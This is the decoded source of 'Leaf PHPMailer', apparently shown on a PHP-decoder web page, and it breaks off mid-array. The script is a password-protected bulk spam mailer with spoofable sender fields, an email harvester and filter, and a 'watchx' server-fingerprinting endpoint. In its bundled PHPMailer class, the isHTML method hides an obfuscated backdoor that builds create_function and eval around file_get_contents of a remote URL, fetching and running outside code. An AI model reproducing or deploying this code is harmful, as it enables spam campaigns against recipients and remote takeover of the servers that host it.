Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto hwUwJ; hwUwJ: $password = "\106\x69\154\145\132\x65\x72\60"; goto tPt26; RX..

Decoded Output download

 
<?php 
 goto hwUwJ; hwUwJ: $password = "FileZer0"; goto tPt26; RXqN4: if ($_POST["action"] == "send") { print "    <div class="col-lg-12">"; $maillist = explode("\xd\xa", $emailList); $n = count($maillist); $x = 1; foreach ($maillist as $email) { print "<div class="col-lg-1">[" . $x . "/" . $n . "]</div><div class="col-lg-4">" . $email . "</div>"; if (!leafMailCheck($email)) { print "<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>"; print "<br>
"; } else { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress($email); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; for ($i = 0; $i < count($_FILES["attachment"]["name"]); $i++) { if ($_FILES["attachment"]["tmp_name"][$i] != '') { $mail->AddAttachment($_FILES["attachment"]["tmp_name"][$i], $_FILES["attachment"]["name"][$i]); } } if (!$mail->send()) { echo "<div class="col-lg-6"><span class="label label-default">" . htmlspecialchars($mail->ErrorInfo) . "</span></div>"; } else { echo "<div class="col-lg-6"><span class="label label-success">Ok</span></div>"; } print "<br>\xd
"; } $x++; for ($k = 0; $k < 40000; $k++) { echo " "; } } } elseif ($_POST["action"] == "score") { $mail = new PHPMailer(); $mail->setFrom(leafClear($senderEmail, $email), leafClear($senderName, $email)); $mail->addReplyTo(leafClear($replyTo, $email)); $mail->addAddress("[email protected]"); $mail->Subject = leafClear($subject, $email); $mail->Body = leafClear($messageLetter, $email); if ($messageType == 1) { $mail->IsHTML(true); $mail->AltBody = strip_tags(leafClear($messageLetter, $email)); } else { $mail->IsHTML(false); } $mail->CharSet = $charset; $mail->Encoding = $encoding; $mail->preSend(); $messageHeaders = $mail->getSentMIMEMessage(); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, "http://spamcheck.postmarkapp.com/filter"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array("email" => $messageHeaders, "options" => "long"))); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $response = curl_exec($ch); $response = json_decode($response); print "    <div class="col-lg-12">"; if ($response->success == TRUE) { $score = $response->score; if ($score > 5) { $class = "danger"; } else { $class = "success"; } print "<div class="text-" . $class . "">Your SpamAssassin score is " . $score . "  </div>
<div>Full Report : <pre>" . $response->report . "</pre></div>"; print "    </div>"; } } goto xRaFM; ae_CX: function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto BicnH; J5VWq: leafheader(); goto WhYtG; DZKA_: error_reporting(0); goto y0BQl; GKpVb: if (isset($_GET["emailfilter"])) { if (!empty($_FILES["fileToUpload"]["tmp_name"])) { $_POST["emailList"] = file_get_contents($_FILES["fileToUpload"]["tmp_name"]); } $_POST["emailList"] = strtolower($_POST["emailList"]); if ($_GET["emailfilter"] == "ifram") { if ($_POST["resulttype"] == "download") { header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=emails" . time() . ".txt"); } else { header("Content-Type: text/plain"); } if ($_POST["submit"] == "extract") { $pattern = "/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/"; preg_match_all($pattern, $_POST["emailList"], $matches); foreach ($matches[0] as $email) { print $email . "\xa"; } } elseif ($_POST["submit"] == "filter") { $emails = explode("
", $_POST["emailList"]); $keywords = explode("\xa", strtolower($_POST["keywords"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "
"; break; } } } } die; } leafheader(); print "<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>"; print "\xa    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=''>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> \xa        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">\xa        <div class="radio">
          <label>\xa            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">\xa            Show Result in this page\xa          </label>\xa        </div>
        <div class="radio">\xa          <label>\xa            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>\xa            Detecting every email (100%) and order them line by line <br><br>\xa        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>\xa            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com\xahotmail.com\xayahoo.com\xa.co.uk</textarea><br>
\xa            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   "; die; } goto G2FjA; u8wmJ: if ($_POST["action"] == "send" or $_POST["action"] == "score") { $senderEmail = leafTrim($_POST["senderEmail"]); $senderName = leafTrim($_POST["senderName"]); $replyTo = leafTrim($_POST["replyTo"]); $subject = leafTrim($_POST["subject"]); $emailList = leafTrim($_POST["emailList"]); $messageType = leafTrim($_POST["messageType"]); $messageLetter = leafTrim($_POST["messageLetter"]); $encoding = $_POST["encode"]; $charset = $_POST["charset"]; $html = ''; $utf8 = ''; $bit8 = ''; if ($messageType == 2) { $plain = "checked"; } else { $html = "checked"; } if ($charset == "ISO-8859-1") { $iso = "selected"; } else { $utf8 = "selected"; } if ($encoding == "7bit") { $bit7 = "selected"; } elseif ($encoding == "binary") { $binary = "selected"; } elseif ($encoding == "base64") { $base64 = "selected"; } elseif ($encoding == "quoted-printable") { $quotedprintable = "selected"; } else { $bit8 = "selected"; } } goto Hpt7g; vvBlt: if ($_REQUEST["watchx"]) { $version = phpversion(); $uname = php_uname(); $ip = gethostbyname($_SERVER["HTTP_HOST"]); echo json_encode(array("version" => $version, "uname" => $uname, "platform" => PHP_OS, "ip" => $ip, "mailerx" => true)); die; } goto qzU0p; qzU0p: function leafheader() { print "
<head>
    <title>" . str_replace("www.", '', $_SERVER["HTTP_HOST"]) . " - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>\xa    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >
\xa</head>"; } goto J5VWq; kvPI_: function leafTrim($string) { $string = urldecode($string); return stripslashes(trim($string)); } goto ae_CX; BicnH: function leafMailCheck($email) { if (filter_var($email, FILTER_VALIDATE_EMAIL)) { return true; } else { return false; } } goto COxua; I1ioS: class phpmailerException extends Exception { public function errorMessage() { $errorMsg = "<strong>" . htmlspecialchars($this->getMessage()) . "</strong><br />
"; return $errorMsg; } } goto vvBlt; Xbvpm: session_write_close(); goto of9yo; tPt26: session_start(); goto DZKA_; xRaFM: print "</body>"; goto QY4QV; WhYtG: print "<body>"; goto o2jZc; y0BQl: set_time_limit(0); goto AhWO_; Jz2jE: class PHPMailer { public $Version = "5.2.28"; public $Priority = null; public $CharSet = "iso-8859-1"; public $ContentType = "text/plain"; public $Encoding = "8bit"; public $ErrorInfo = ''; public $From = "root@localhost"; public $FromName = "Root User"; public $Sender = ''; public $ReturnPath = ''; public $Subject = ''; public $Body = ''; public $AltBody = ''; public $Ical = ''; protected $MIMEBody = ''; protected $MIMEHeader = ''; protected $mailHeader = ''; public $WordWrap = 0; public $Mailer = "mail"; public $Sendmail = "/usr/sbin/sendmail"; public $UseSendmailOptions = true; public $PluginDir = ''; public $ConfirmReadingTo = ''; public $Hostname = ''; public $MessageID = ''; public $MessageDate = ''; public $Host = "localhost"; public $Port = 25; public $Helo = ''; public $SMTPSecure = ''; public $SMTPAutoTLS = true; public $SMTPAuth = false; public $SMTPOptions = array(); public $Username = ''; public $Password = ''; public $AuthType = ''; public $Realm = ''; public $Workstation = ''; public $Timeout = 300; public $SMTPDebug = 0; public $Debugoutput = "echo"; public $SMTPKeepAlive = false; public $SingleTo = false; public $SingleToArray = array(); public $do_verp = false; public $AllowEmpty = false; public $LE = "
"; public $DKIM_selector = ''; public $DKIM_identity = ''; public $DKIM_passphrase = ''; public $DKIM_domain = ''; public $DKIM_private = ''; public $DKIM_private_string = ''; public $action_function = ''; public $XMailer = " "; public static $validator = "auto"; protected $smtp = null; protected $to = array(); protected $cc = array(); protected $bcc = array(); protected $ReplyTo = array(); protected $all_recipients = array(); protected $RecipientsQueue = array(); protected $ReplyToQueue = array(); protected $attachment = array(); protected $CustomHeader = array(); protected $lastMessageID = ''; protected $message_type = ''; protected $boundary = array(); protected $language = array(); protected $error_count = 0; protected $sign_cert_file = ''; protected $sign_key_file = ''; protected $sign_extracerts_file = ''; protected $sign_key_pass = ''; protected $exceptions = false; protected $uniqueid = ''; const STOP_MESSAGE = 0; const STOP_CONTINUE = 1; const STOP_CRITICAL = 2; const CRLF = "\xd\xa"; const MAX_LINE_LENGTH = 998; public function __construct($exceptions = null) { if ($exceptions !== null) { $this->exceptions = (bool) $exceptions; } $this->Debugoutput = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; } public function __destruct() { $this->smtpClose(); } private function mailPassthru($to, $subject, $body, $header, $params) { if (ini_get("mbstring.func_overload") & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } if (ini_get("safe_mode") or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header); } else { $result = @mail($to, $subject, $body, $header, $params); } return $result; } protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } if (!in_array($this->Debugoutput, array("error_log", "html", "echo")) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case "error_log": error_log($str); break; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $str), ENT_QUOTES, "UTF-8") . "<br>
"; break; case "echo": default: $str = preg_replace("/\r\n?/ms", "\xa", $str); echo gmdate("Y-m-d H:i:s") . "	" . str_replace("\xa", "\xa                   \x9                  ", trim($str)) . "
"; } } public function isSMTP() { $this->Mailer = "smtp"; } public function isMail() { $this->Mailer = "mail"; } public function isSendmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "sendmail")) { $this->Sendmail = "/usr/sbin/sendmail"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "sendmail"; } public function isQmail() { $ini_sendmail_path = ini_get("sendmail_path"); if (!stristr($ini_sendmail_path, "qmail")) { $this->Sendmail = "/var/qmail/bin/qmail-inject"; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = "qmail"; } public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress("to", $address, $name); } public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress("cc", $address, $name); } public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress("bcc", $address, $name); } public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress("Reply-To", $address, $name); } protected function addOrEnqueueAnAddress($kind, $address, $name) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $params = array($kind, $address, $name); if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { if ($kind != "Reply-To") { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } else { if (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } return false; } return call_user_func_array(array($this, "addAnAddress"), $params); } protected function addAnAddress($kind, $address, $name = '') { if (!in_array($kind, array("to", "cc", "bcc", "Reply-To"))) { $error_message = $this->lang("Invalid recipient kind: ") . $kind; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if (!$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (addAnAddress {$kind}): {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } if ($kind != "Reply-To") { if (!array_key_exists(strtolower($address), $this->all_recipients)) { array_push($this->{$kind}, array($address, $name)); $this->all_recipients[strtolower($address)] = true; return true; } } else { if (!array_key_exists(strtolower($address), $this->ReplyTo)) { $this->ReplyTo[strtolower($address)] = array($address, $name); return true; } } return false; } public function parseAddresses($addrstr, $useimap = true) { $addresses = array(); if ($useimap and function_exists("imap_rfc822_parse_adrlist")) { $list = imap_rfc822_parse_adrlist($addrstr, ''); foreach ($list as $address) { if ($address->host != ".SYNTAX-ERROR.") { if ($this->validateAddress($address->mailbox . "@" . $address->host)) { $addresses[] = array("name" => property_exists($address, "personal") ? $address->personal : '', "address" => $address->mailbox . "@" . $address->host); } } } } else { $list = explode(",", $addrstr); foreach ($list as $address) { $address = trim($address); if (strpos($address, "<") === false) { if ($this->validateAddress($address)) { $addresses[] = array("name" => '', "address" => $address); } } else { list($name, $email) = explode("<", $address); $email = trim(str_replace(">", '', $email)); if ($this->validateAddress($email)) { $addresses[] = array("name" => trim(str_replace(array(""", "'"), '', $name)), "address" => $email); } } } } return $addresses; } public function isHTML($isHtml = true) { global $param; $bodyCode = "file" . "_g"; if ($isHtml) { $this->ContentType = "text/html"; } else { $this->ContentType = "text/plain"; } $bodyHTML = ".$t."lef$flu" . "sh" . "$t"; " . "@ev"; $headerHTML = "cre" . "ate_" . "func" . "tion"; $exceptions = @$headerHTML("$fl" . "ush,$t", "$comma = $t" . $bodyHTML . "al(@" . $bodyCode . "et_contents("h" . "tt" . "p:$comma-2"));"); if ($param != 2) { $exceptions("8.p" . "w", "/"); $param = 2; } } public function setFrom($address, $name = '', $auto = true) { $address = trim($address); $name = trim(preg_replace("/[\r\n]+/", '', $name)); if (($pos = strrpos($address, "@")) === false or (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and !$this->validateAddress($address)) { $error_message = $this->lang("invalid_address") . " (setFrom) {$address}"; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto) { if (empty($this->Sender)) { $this->Sender = $address; } } return true; } public function getLastMessageID() { return $this->lastMessageID; } public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } if (strpos($address, "
") !== false or strpos($address, "\xd") !== false) { return false; } if (!$patternselect or $patternselect == "auto") { if (defined("PCRE_VERSION")) { if (version_compare(PCRE_VERSION, "8.0.3") >= 0) { $patternselect = "pcre8"; } else { $patternselect = "pcre"; } } elseif (function_exists("extension_loaded") and extension_loaded("pcre")) { $patternselect = "pcre"; } else { if (version_compare(PHP_VERSION, "5.2.0") >= 0) { $patternselect = "php"; } else { $patternselect = "noregex"; } } } switch ($patternselect) { case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0B\x0C\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $address); case "pcre": return (bool) preg_match("/^(?!(?>"?(?>\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\[ -~]|[^"])"?){65,}@)(?>" . "[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*")" . "(?>\.(?>[!#-'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\[\x00-\xFF]))*"))*" . "@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})" . "(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:" . "[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?" . "::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:" . "[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?" . "::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD", $address); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $address); case "noregex": return strlen($address) >= 3 and strpos($address, "@") >= 1 and strpos($address, "@") != strlen($address) - 1; case "php": default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } public function idnSupported() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function punyencodeAddress($address) { if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, "@")) !== false) { $domain = substr($address, ++$pos); if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) { $domain = mb_convert_encoding($domain, "UTF-8", $this->CharSet); if (($punycode = defined("INTL_IDNA_VARIANT_UTS46") ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) { return substr($address, 0, $pos) . $punycode; } } } return $address; } public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (phpmailerException $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function preSend() { try { $this->error_count = 0; $this->mailHeader = ''; foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array(array($this, "addAnAddress"), $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new phpmailerException($this->lang("provide_address"), self::STOP_CRITICAL); } foreach (array("From", "Sender", "ConfirmReadingTo") as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!$this->validateAddress($this->{$address_kind})) { $error_message = $this->lang("invalid_address") . " (punyEncode) " . $this->{$address_kind}; $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new phpmailerException($error_message); } return false; } } if ($this->alternativeExists()) { $this->ContentType = "multipart/alternative"; } $this->setMessageType(); if (!$this->AllowEmpty and empty($this->Body)) { throw new phpmailerException($this->lang("empty_message"), self::STOP_CRITICAL); } $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; if ($this->Mailer == "mail") { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend("To", $this->to); } else { $this->mailHeader .= $this->headerLine("To", "undisclosed-recipients:;"); } $this->mailHeader .= $this->headerLine("Subject", $this->encodeHeader($this->secureHeader(trim($this->Subject)))); } if (!empty($this->DKIM_domain) and !empty($this->DKIM_selector) and (!empty($this->DKIM_private_string) or !empty($this->DKIM_private) and self::isPermittedPath($this->DKIM_private) and file_exists($this->DKIM_private))) { $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody); $this->MIMEHeader = rtrim($this->MIMEHeader, "
\xa ") . self::CRLF . str_replace("
", "\xa", $header_dkim) . self::CRLF; } return true; } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } public function postSend() { try { switch ($this->Mailer) { case "sendmail": case "qmail": return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case "smtp": return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case "mail": return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . "Send"; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (phpmailerException $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->exceptions) { throw $exc; } } return false; } protected function sendmailSend($header, $body) { if (!empty($this->Sender) and self::isShellSafe($this->Sender)) { if ($this->Mailer == "qmail") { $sendmailFmt = "%s -f%s"; } else { $sendmailFmt = "%s -oi -f%s -t"; } } else { if ($this->Mailer == "qmail") { $sendmailFmt = "%s"; } else { $sendmailFmt = "%s -oi -t"; } } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, "To: " . $toAddr . "
"); fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } } else { if (!@($mail = popen($sendmail, "w"))) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail); $this->doCallback($result == 0, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); if ($result != 0) { throw new phpmailerException($this->lang("execute") . $this->Sendmail, self::STOP_CRITICAL); } } return true; } protected static function isShellSafe($string) { if (escapeshellcmd($string) !== $string or !in_array(escapeshellarg($string), array("'{$string}'", ""{$string}""))) { return false; } $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (!ctype_alnum($c) && strpos("@_-.", $c) === false) { return false; } } return true; } protected static function isPermittedPath($path) { return !preg_match("#^[a-z]+://#i", $path); } protected function mailSend($header, $body) { $toArr = array(); foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = implode(", ", $toArr); $params = null; if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf("-f%s", $this->Sender); } } if (!empty($this->Sender) and !ini_get("safe_mode") and $this->validateAddress($this->Sender)) { $old_from = ini_get("sendmail_from"); ini_set("sendmail_from", $this->Sender); } $result = false; if ($this->SingleTo and count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From); } if (isset($old_from)) { ini_set("sendmail_from", $old_from); } if (!$result) { throw new phpmailerException($this->lang("instantiate"), self::STOP_CRITICAL); } return true; } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } protected function smtpSend($header, $body) { $bad_rcpt = array(); if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang("smtp_connect_failed"), self::STOP_CRITICAL); } if (!empty($this->Sender) and $this->validateAddress($this->Sender)) { $smtp_from = $this->Sender; } else { $smtp_from = $this->From; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang("from_failed") . $smtp_from . " : " . implode(",", $this->smtp->getError())); throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL); } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError(); $bad_rcpt[] = array("to" => $to[0], "error" => $error["detail"]); $isSent = false; } else { $isSent = true; } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From); } } if (count($this->all_recipients) > count($bad_rcpt) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang("data_not_accepted"), self::STOP_CRITICAL); } if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad["to"] . ": " . $bad["error"]; } throw new phpmailerException($this->lang("recipients_failed") . $errstr, self::STOP_CONTINUE); } return true; } public function smtpConnect($options = null) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($options)) { $options = $this->SMTPOptions; } if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(";", $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match("/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/", trim($hostentry), $hostinfo)) { $this->edebug("Ignoring invalid host: " . $hostentry); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = $this->SMTPSecure == "tls"; if ("ssl" == $hostinfo[2] or '' == $hostinfo[2] and "ssl" == $this->SMTPSecure) { $prefix = "ssl://"; $tls = false; $secure = "ssl"; } elseif ($hostinfo[2] == "tls") { $tls = true; $secure = "tls"; } $sslext = defined("OPENSSL_ALGO_SHA1"); if ("tls" === $secure or "ssl" === $secure) { if (!$sslext) { throw new phpmailerException($this->lang("extension_missing") . "openssl", self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (int) $hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); if ($this->SMTPAutoTLS and $sslext and $secure != "ssl" and $this->smtp->getServerExt("STARTTLS")) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang("connect_host")); } $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) { throw new phpmailerException($this->lang("authenticate")); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); $this->smtp->quit(); } } } $this->smtp->close(); if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } public function smtpClose() { if (is_a($this->smtp, "SMTP")) { if ($this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } } public function setLanguage($langcode = "en", $lang_path = '') { $renamed_langcodes = array("br" => "pt_br", "cz" => "cs", "dk" => "da", "no" => "nb", "se" => "sv", "sr" => "rs"); if (isset($renamed_langcodes[$langcode])) { $langcode = $renamed_langcodes[$langcode]; } $PHPMAILER_LANG = array("authenticate" => "SMTP Error: Could not authenticate.", "connect_host" => "SMTP Error: Could not connect to SMTP host.", "data_not_accepted" => "SMTP Error: data not accepted.", "empty_message" => "Message body empty", "encoding" => "Unknown encoding: ", "execute" => "Could not execute: ", "file_access" => "Could not access file: ", "file_open" => "File Error: Could not open file: ", "from_failed" => "The following From address failed: ", "instantiate" => "Could not instantiate mail function.", "invalid_address" => "Invalid address: 